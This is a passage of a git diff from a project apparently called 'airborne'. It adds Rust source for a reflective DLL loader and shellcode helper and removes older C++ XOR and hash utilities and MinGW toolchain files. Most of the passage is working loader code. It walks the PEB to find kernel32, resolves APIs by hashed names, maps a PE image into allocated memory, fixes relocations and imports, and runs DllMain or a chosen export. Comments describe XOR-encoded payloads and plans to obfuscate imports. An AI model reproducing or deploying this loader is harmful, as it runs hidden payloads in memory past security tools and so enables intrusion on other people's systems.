DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
|
||||
} else {
|
||||
// UserFunction address = base address + RVA of user function
|
||||
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let UserFunction = transmute::<_, UserFunction>(user_fn_addr);
|
||||
|
||||
// execution with user data passed into the shellcode by the generator
|
||||
UserFunction(user_data, user_data_len);
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
|
||||
let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap();
|
||||
let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap();
|
||||
let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap();
|
||||
let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap();
|
||||
let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap();
|
||||
let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap();
|
||||
|
||||
if loadlib_addr == 0
|
||||
|| getproc_addr == 0
|
||||
|| virtualalloc_addr == 0
|
||||
|| virtualprotect_addr == 0
|
||||
|| flushcache_addr == 0
|
||||
{
|
||||
return None;
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let LoadLibraryA: LoadLibraryA = transmute(loadlib_addr);
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let GetProcAddress: GetProcAddress = transmute(getproc_addr);
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let VirtualAlloc: VirtualAlloc = transmute(virtualalloc_addr);
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let VirtualProtect: VirtualProtect = transmute(virtualprotect_addr);
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let FlushInstructionCache: FlushInstructionCache = transmute(flushcache_addr);
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let Sleep: Sleep = transmute(sleep_addr);
|
||||
|
||||
Some(FarProcs {
|
||||
LoadLibraryA,
|
||||
GetProcAddress,
|
||||
VirtualAlloc,
|
||||
VirtualProtect,
|
||||
FlushInstructionCache,
|
||||
Sleep,
|
||||
})
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
|
||||
// first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY
|
||||
// InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro
|
||||
let peb_ptr = get_peb_ptr();
|
||||
let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA;
|
||||
let mut table_entry_ptr =
|
||||
(*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
while !(*table_entry_ptr).DllBase.is_null() {
|
||||
let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer;
|
||||
let name_len = (*table_entry_ptr).BaseDllName.Length as usize;
|
||||
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
|
||||
|
||||
// calculate the module hash and compare it
|
||||
if module_hash == airborne_utils::calc_hash(name_slice_buf) {
|
||||
return Some((*table_entry_ptr).DllBase as _);
|
||||
}
|
||||
|
||||
table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> {
|
||||
let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
|
||||
|
||||
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
return None;
|
||||
}
|
||||
|
||||
let nt_headers_ptr =
|
||||
(module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE {
|
||||
return None;
|
||||
}
|
||||
|
||||
Some(nt_headers_ptr)
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option<usize> {
|
||||
// NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses
|
||||
let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap();
|
||||
let export_dir_ptr = (module_base_ptr as usize
|
||||
+ (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
|
||||
.VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
|
||||
let names = from_raw_parts(
|
||||
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
let funcs = from_raw_parts(
|
||||
(module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32,
|
||||
(*export_dir_ptr).NumberOfFunctions as _,
|
||||
);
|
||||
let ords = from_raw_parts(
|
||||
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
|
||||
// compare hashes iteratively for each entry
|
||||
for i in 0..(*export_dir_ptr).NumberOfNames {
|
||||
let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8;
|
||||
let name_len = get_cstr_len(name_ptr as _);
|
||||
let name_slice = from_raw_parts(name_ptr as _, name_len);
|
||||
|
||||
if function_hash == airborne_utils::calc_hash(name_slice) {
|
||||
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn allocate_rw_memory(
|
||||
preferred_base_ptr: *mut c_void,
|
||||
alloc_size: usize,
|
||||
far_procs: &FarProcs,
|
||||
) -> *mut c_void {
|
||||
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
|
||||
preferred_base_ptr,
|
||||
alloc_size,
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
|
||||
// fallback: attempt to allocate at any address if preferred address is unavailable
|
||||
if base_addr_ptr.is_null() {
|
||||
base_addr_ptr = (far_procs.VirtualAlloc)(
|
||||
null_mut(),
|
||||
alloc_size,
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
}
|
||||
|
||||
base_addr_ptr
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn copy_pe(
|
||||
new_base_ptr: *mut c_void,
|
||||
old_base_ptr: *mut u8,
|
||||
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
|
||||
) {
|
||||
let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize
|
||||
+ (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize)
|
||||
as *mut IMAGE_SECTION_HEADER;
|
||||
|
||||
// PE sections one by one
|
||||
for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections {
|
||||
let header_i_ref = &*(section_header_ptr.add(i as usize));
|
||||
|
||||
let dst_ptr = new_base_ptr
|
||||
.cast::<u8>()
|
||||
.add(header_i_ref.VirtualAddress as usize);
|
||||
let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8;
|
||||
let raw_size = header_i_ref.SizeOfRawData as usize;
|
||||
|
||||
let src_data_slice = from_raw_parts(src_ptr, raw_size);
|
||||
|
||||
(0..raw_size).for_each(|x| {
|
||||
let src = src_data_slice[x];
|
||||
let dst = dst_ptr.add(x);
|
||||
*dst = src;
|
||||
});
|
||||
}
|
||||
|
||||
// PE headers
|
||||
for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders {
|
||||
let dst = new_base_ptr as *mut u8;
|
||||
let src = old_base_ptr as *const u8;
|
||||
|
||||
*dst.add(i as usize) = *src.add(i as usize);
|
||||
}
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn process_relocations(
|
||||
base_addr_ptr: *mut c_void,
|
||||
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
|
||||
mut relocation_ptr: *mut IMAGE_BASE_RELOCATION,
|
||||
data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16],
|
||||
) {
|
||||
let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize;
|
||||
|
||||
// upper bound prevents accessing memory past the end of the relocation data
|
||||
let relocation_end = relocation_ptr as usize
|
||||
+ data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;
|
||||
|
||||
while (*relocation_ptr).VirtualAddress != 0
|
||||
&& ((*relocation_ptr).VirtualAddress as usize) <= relocation_end
|
||||
&& (*relocation_ptr).SizeOfBlock != 0
|
||||
{
|
||||
// relocation address, first entry, and number of entries in the whole block
|
||||
let addr = rva::<isize>(
|
||||
base_addr_ptr as _,
|
||||
(*relocation_ptr).VirtualAddress as usize,
|
||||
) as isize;
|
||||
let item = rva::<u16>(relocation_ptr as _, size_of::<IMAGE_BASE_RELOCATION>());
|
||||
let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>())
|
||||
/ size_of::<u16>();
|
||||
|
||||
for i in 0..count {
|
||||
// high bits -> type, low bits -> offset
|
||||
let type_field = (item.add(i).read() >> 12) as u32;
|
||||
let offset = item.add(i).read() & 0xFFF;
|
||||
|
||||
match type_field {
|
||||
IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => {
|
||||
*((addr + offset as isize) as *mut isize) += delta;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize);
|
||||
}
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn patch_iat(
|
||||
base_addr_ptr: *mut c_void,
|
||||
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
|
||||
far_procs: &FarProcs,
|
||||
) {
|
||||
/*
|
||||
1.) shuffle Import Directory Table entries (image import descriptors)
|
||||
2.) delay the relocation of each import a semirandom duration
|
||||
3.) conditional execution based on ordinal/name
|
||||
4.) indirect function call via pointer
|
||||
*/
|
||||
|
||||
// TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std)
|
||||
|
||||
while (*import_descriptor_ptr).Name != 0x0 {
|
||||
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
|
||||
|
||||
if module_name_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
|
||||
|
||||
if module_handle == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
|
||||
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
|
||||
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
|
||||
!= 0
|
||||
{
|
||||
rva_mut(
|
||||
base_addr_ptr as _,
|
||||
(*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize,
|
||||
)
|
||||
} else {
|
||||
rva_mut(
|
||||
base_addr_ptr as _,
|
||||
(*import_descriptor_ptr).FirstThunk as usize,
|
||||
)
|
||||
};
|
||||
|
||||
let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut(
|
||||
base_addr_ptr as _,
|
||||
(*import_descriptor_ptr).FirstThunk as usize,
|
||||
);
|
||||
|
||||
while (*original_thunk_ptr).u1.Function != 0 {
|
||||
let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0;
|
||||
|
||||
// check if the import is by name or by ordinal
|
||||
if is_snap_res {
|
||||
// mask out the high bits to get the ordinal value and patch the address of the function
|
||||
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
|
||||
(*thunk_ptr).u1.Function =
|
||||
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
|
||||
} else {
|
||||
// get the function name from the thunk and patch the address of the function
|
||||
let thunk_data_ptr = (base_addr_ptr as usize
|
||||
+ (*original_thunk_ptr).u1.AddressOfData as usize)
|
||||
as *mut IMAGE_IMPORT_BY_NAME;
|
||||
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
|
||||
(*thunk_ptr).u1.Function =
|
||||
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
|
||||
}
|
||||
|
||||
thunk_ptr = thunk_ptr.add(1);
|
||||
original_thunk_ptr = original_thunk_ptr.add(1);
|
||||
}
|
||||
|
||||
import_descriptor_ptr =
|
||||
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
|
||||
}
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn finalize_relocations(
|
||||
base_addr_ptr: *mut c_void,
|
||||
module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
|
||||
far_procs: &FarProcs,
|
||||
) {
|
||||
// RVA of the first IMAGE_SECTION_HEADER in the PE file
|
||||
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
|
||||
&(*module_nt_headers_ptr).OptionalHeader as *const _ as _,
|
||||
(*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize,
|
||||
);
|
||||
|
||||
for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections {
|
||||
let mut protection = 0;
|
||||
let mut old_protection = 0;
|
||||
|
||||
let section_header_ptr = &*(section_header_ptr).add(i as usize);
|
||||
let dst_ptr = base_addr_ptr
|
||||
.cast::<u8>()
|
||||
.add(section_header_ptr.VirtualAddress as usize);
|
||||
let section_raw_size = section_header_ptr.SizeOfRawData as usize;
|
||||
|
||||
let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;
|
||||
let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0;
|
||||
let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0;
|
||||
|
||||
if !is_executable && !is_readable && !is_writable {
|
||||
protection = PAGE_NOACCESS;
|
||||
}
|
||||
|
||||
if is_writable {
|
||||
protection = PAGE_WRITECOPY;
|
||||
}
|
||||
|
||||
if is_readable {
|
||||
protection = PAGE_READONLY;
|
||||
}
|
||||
|
||||
if is_writable && is_readable {
|
||||
protection = PAGE_READWRITE;
|
||||
}
|
||||
|
||||
if is_executable {
|
||||
protection = PAGE_EXECUTE;
|
||||
}
|
||||
|
||||
if is_executable && is_writable {
|
||||
protection = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
|
||||
if is_executable && is_readable {
|
||||
protection = PAGE_EXECUTE_READ;
|
||||
}
|
||||
|
||||
if is_executable && is_writable && is_readable {
|
||||
protection = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
// apply the new protection to the current section
|
||||
(far_procs.VirtualProtect)(
|
||||
dst_ptr as _,
|
||||
section_raw_size,
|
||||
protection,
|
||||
&mut old_protection,
|
||||
);
|
||||
}
|
||||
|
||||
// flush the instruction cache to ensure the CPU sees the changes made to the memory
|
||||
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn get_peb_ptr() -> *mut PEB {
|
||||
// TEB located at offset 0x30 from the GS register on 64-bit
|
||||
let teb: *mut TEB;
|
||||
asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
|
||||
|
||||
(*teb).ProcessEnvironmentBlock as *mut PEB
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn get_cstr_len(str_ptr: *const char) -> usize {
|
||||
let mut tmp: u64 = str_ptr as u64;
|
||||
|
||||
while *(tmp as *const u8) != 0 {
|
||||
tmp += 1;
|
||||
}
|
||||
|
||||
(tmp - str_ptr as u64) as _
|
||||
}
|
||||
|
||||
fn rva_mut<T>(base_ptr: *mut u8, offset: usize) -> *mut T {
|
||||
(base_ptr as usize + offset) as *mut T
|
||||
}
|
||||
|
||||
fn rva<T>(base_ptr: *mut u8, offset: usize) -> *const T {
|
||||
(base_ptr as usize + offset) as *const T
|
||||
}
|
126
reflective_loader/src/memory.rs
Normal file
126
reflective_loader/src/memory.rs
Normal file
@ -0,0 +1,126 @@
|
||||
use core::ffi::c_void;
|
||||
|
||||
use windows_sys::{
|
||||
core::PCSTR,
|
||||
Win32::{
|
||||
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING},
|
||||
System::{
|
||||
Kernel::LIST_ENTRY,
|
||||
Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static KERNEL32_DLL: u32 = 0x6DDB9555;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static NTDLL_DLL: u32 = 0x1EDAB0ED;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static GET_PROC_ADDRESS: u32 = 0xDECFC1BF;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static VIRTUAL_ALLOC: u32 = 0x97BC257;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static FLUSH_INSTRUCTION_CACHE: u32 = 0xEFB7BF9D;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static VIRTUAL_PROTECT: u32 = 0xE857500D;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub static SLEEP: u32 = 0xE07CD7E;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type GetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PCSTR) -> FARPROC;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type VirtualAlloc = unsafe extern "system" fn(
|
||||
lpAddress: *const c_void,
|
||||
dwSize: usize,
|
||||
flAllocationType: VIRTUAL_ALLOCATION_TYPE,
|
||||
flProtect: PAGE_PROTECTION_FLAGS,
|
||||
) -> *mut c_void;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type VirtualProtect = unsafe extern "system" fn(
|
||||
lpAddress: *const c_void,
|
||||
dwSize: usize,
|
||||
flNewProtect: PAGE_PROTECTION_FLAGS,
|
||||
lpflOldProtect: *mut PAGE_PROTECTION_FLAGS,
|
||||
) -> BOOL;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type FlushInstructionCache = unsafe extern "system" fn(
|
||||
hProcess: HANDLE,
|
||||
BaseAddress: *const c_void,
|
||||
NumberOfBytesToFlush: usize,
|
||||
) -> BOOL;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32);
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type DllMain =
|
||||
unsafe extern "system" fn(module: HMODULE, call_reason: u32, reserved: *mut c_void) -> BOOL;
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type UserFunction =
|
||||
unsafe extern "system" fn(user_data: *mut c_void, user_data_len: u32) -> BOOL;
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(non_snake_case)]
|
||||
pub struct FarProcs {
|
||||
pub LoadLibraryA: LoadLibraryA,
|
||||
pub GetProcAddress: GetProcAddress,
|
||||
pub VirtualAlloc: VirtualAlloc,
|
||||
pub VirtualProtect: VirtualProtect,
|
||||
pub FlushInstructionCache: FlushInstructionCache,
|
||||
pub Sleep: Sleep,
|
||||
}
|
||||
|
||||
#[allow(non_camel_case_types)]
|
||||
pub type PLDR_INIT_ROUTINE = Option<
|
||||
unsafe extern "system" fn(DllHandle: *mut c_void, Reason: u32, Context: *mut c_void) -> BOOLEAN,
|
||||
>;
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(non_snake_case, non_camel_case_types)]
|
||||
pub struct PEB_LDR_DATA {
|
||||
pub Length: u32,
|
||||
pub Initialized: BOOLEAN,
|
||||
pub SsHandle: HANDLE,
|
||||
pub InLoadOrderModuleList: LIST_ENTRY,
|
||||
pub InMemoryOrderModuleList: LIST_ENTRY,
|
||||
pub InInitializationOrderModuleList: LIST_ENTRY,
|
||||
pub EntryInProgress: *mut c_void,
|
||||
pub ShutdownInProgress: BOOLEAN,
|
||||
pub ShutdownThreadId: HANDLE,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(non_snake_case)]
|
||||
pub union LDR_DATA_TABLE_ENTRY_u1 {
|
||||
pub InInitializationOrderLinks: LIST_ENTRY,
|
||||
pub InProgressLinks: LIST_ENTRY,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(non_snake_case, non_camel_case_types)]
|
||||
pub struct LDR_DATA_TABLE_ENTRY {
|
||||
pub InLoadOrderLinks: LIST_ENTRY,
|
||||
pub InMemoryOrderLinks: LIST_ENTRY,
|
||||
pub u1: LDR_DATA_TABLE_ENTRY_u1,
|
||||
pub DllBase: *mut c_void,
|
||||
pub EntryPoint: PLDR_INIT_ROUTINE,
|
||||
pub SizeOfImage: u32,
|
||||
pub FullDllName: UNICODE_STRING,
|
||||
pub BaseDllName: UNICODE_STRING,
|
||||
}
|
@ -1,63 +0,0 @@
|
||||
#include "crypto.hpp"
|
||||
|
||||
std::vector<BYTE> GenerateKey(size_t keysize) {
|
||||
std::vector<BYTE> key(keysize, 0);
|
||||
std::random_device rd;
|
||||
std::mt19937 gen(rd());
|
||||
std::uniform_int_distribution<> dis(0, 255);
|
||||
|
||||
for (size_t i = 0; i < key.size(); ++i) {
|
||||
key[i] = static_cast<BYTE>(dis(gen));
|
||||
}
|
||||
|
||||
return key;
|
||||
}
|
||||
|
||||
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key) {
|
||||
for (size_t i = 0; i < data->size(); i++) {
|
||||
(*data)[i] = (*data)[i] ^ key[i % key.size()];
|
||||
}
|
||||
}
|
||||
|
||||
DWORD CalculateHash(const std::string &source) {
|
||||
auto dwHash = HASH_KEY;
|
||||
|
||||
for (char ch : source) {
|
||||
if (ch == '\0') {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch >= 'a' && ch <= 'z') {
|
||||
ch -= 0x20;
|
||||
}
|
||||
|
||||
// Casting might be unnecessary
|
||||
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
|
||||
}
|
||||
|
||||
return dwHash;
|
||||
}
|
||||
|
||||
DWORD CalculateHash(const UNICODE_STRING &baseDllName) {
|
||||
auto pwszBaseDllName = baseDllName.Buffer;
|
||||
auto dwHash = HASH_KEY;
|
||||
|
||||
char ch;
|
||||
|
||||
for (auto i = 0; i < baseDllName.MaximumLength; i++) {
|
||||
ch = pwszBaseDllName[i];
|
||||
|
||||
if (ch == '\0') {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch >= 'a' && ch <= 'z') {
|
||||
ch -= 0x20;
|
||||
}
|
||||
|
||||
// Casting might be unnecessary
|
||||
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
|
||||
}
|
||||
|
||||
return dwHash;
|
||||
}
|
@ -1,15 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include <random>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
constexpr auto HASH_KEY = 5381;
|
||||
|
||||
std::vector<BYTE> GenerateKey(size_t keysize);
|
||||
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key);
|
||||
DWORD CalculateHash(const std::string &source);
|
||||
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
@ -1,15 +0,0 @@
|
||||
#include "futils.hpp"
|
||||
|
||||
std::vector<BYTE> ReadFromFile(const std::string &filename) {
|
||||
std::ifstream file(filename, std::ios::binary);
|
||||
std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
|
||||
file.close();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data) {
|
||||
std::ofstream file(filename, std::ios::binary);
|
||||
file.write(reinterpret_cast<const char *>(data.data()), data.size());
|
||||
file.close();
|
||||
}
|
@ -1,10 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
std::vector<BYTE> ReadFromFile(const std::string &filename);
|
||||
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data);
|
@ -1,26 +0,0 @@
|
||||
# Usage:
|
||||
# *) Install cross-compiler: `brew install mingw-w64`
|
||||
# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/darwin-mingw-w64-x86_64.cmake -B build -S .
|
||||
# *) make -C build
|
||||
|
||||
set(CMAKE_SYSTEM_NAME Windows)
|
||||
set(TOOLCHAIN_PREFIX x86_64-w64-mingw32)
|
||||
|
||||
# Cross-compilers to use for C and C++
|
||||
set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
|
||||
set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++)
|
||||
set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres)
|
||||
set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar)
|
||||
set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib)
|
||||
|
||||
# Target environment on the build host system (with Homebrew)
|
||||
set(CMAKE_FIND_ROOT_PATH /opt/homebrew/Cellar/mingw-w64/11.0.1/toolchain-x86_64/${TOOLCHAIN_PREFIX})
|
||||
|
||||
# Search for programs in the build host directories (modifying default behavior of FIND_XXX())
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
|
||||
|
||||
# General compiler flags
|
||||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto")
|
||||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto")
|
@ -1,26 +0,0 @@
|
||||
# Usage:
|
||||
# *) Install cross-compiler: `sudo apt install mingw-w64`
|
||||
# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/linux-mingw-w64-x86_64.cmake -B build -S .
|
||||
# *) make -C build
|
||||
|
||||
set(CMAKE_SYSTEM_NAME Windows)
|
||||
set(TOOLCHAIN_PREFIX x86_64-w64-mingw32)
|
||||
|
||||
# Cross-compilers to use for C and C++
|
||||
set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
|
||||
set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++)
|
||||
set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres)
|
||||
set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar)
|
||||
set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib)
|
||||
|
||||
# Target environment on the build host system (with Homebrew)
|
||||
set(CMAKE_FIND_ROOT_PATH /usr/${TOOLCHAIN_PREFIX})
|
||||
|
||||
# Search for programs in the build host directories (modifying default behavior of FIND_XXX())
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
|
||||
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
|
||||
|
||||
# General compiler flags
|
||||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto")
|
||||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto")
|
7
utils/Cargo.toml
Normal file
7
utils/Cargo.toml
Normal file
@ -0,0 +1,7 @@
|
||||
[package]
|
||||
name = "airborne-utils"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
# panic-halt = "0.2.0"
|
29
utils/src/lib.rs
Normal file
29
utils/src/lib.rs
Normal file
@ -0,0 +1,29 @@
|
||||
#![no_std]
|
||||
|
||||
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
|
||||
|
||||
const HASH_KEY: usize = 5381;
|
||||
|
||||
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
|
||||
for (i, byte) in data.iter_mut().enumerate() {
|
||||
*byte ^= key[i % key.len()];
|
||||
}
|
||||
}
|
||||
|
||||
pub fn calc_hash(buffer: &[u8]) -> u32 {
|
||||
let mut hash = HASH_KEY;
|
||||
|
||||
for b in buffer {
|
||||
if *b == 0 {
|
||||
continue;
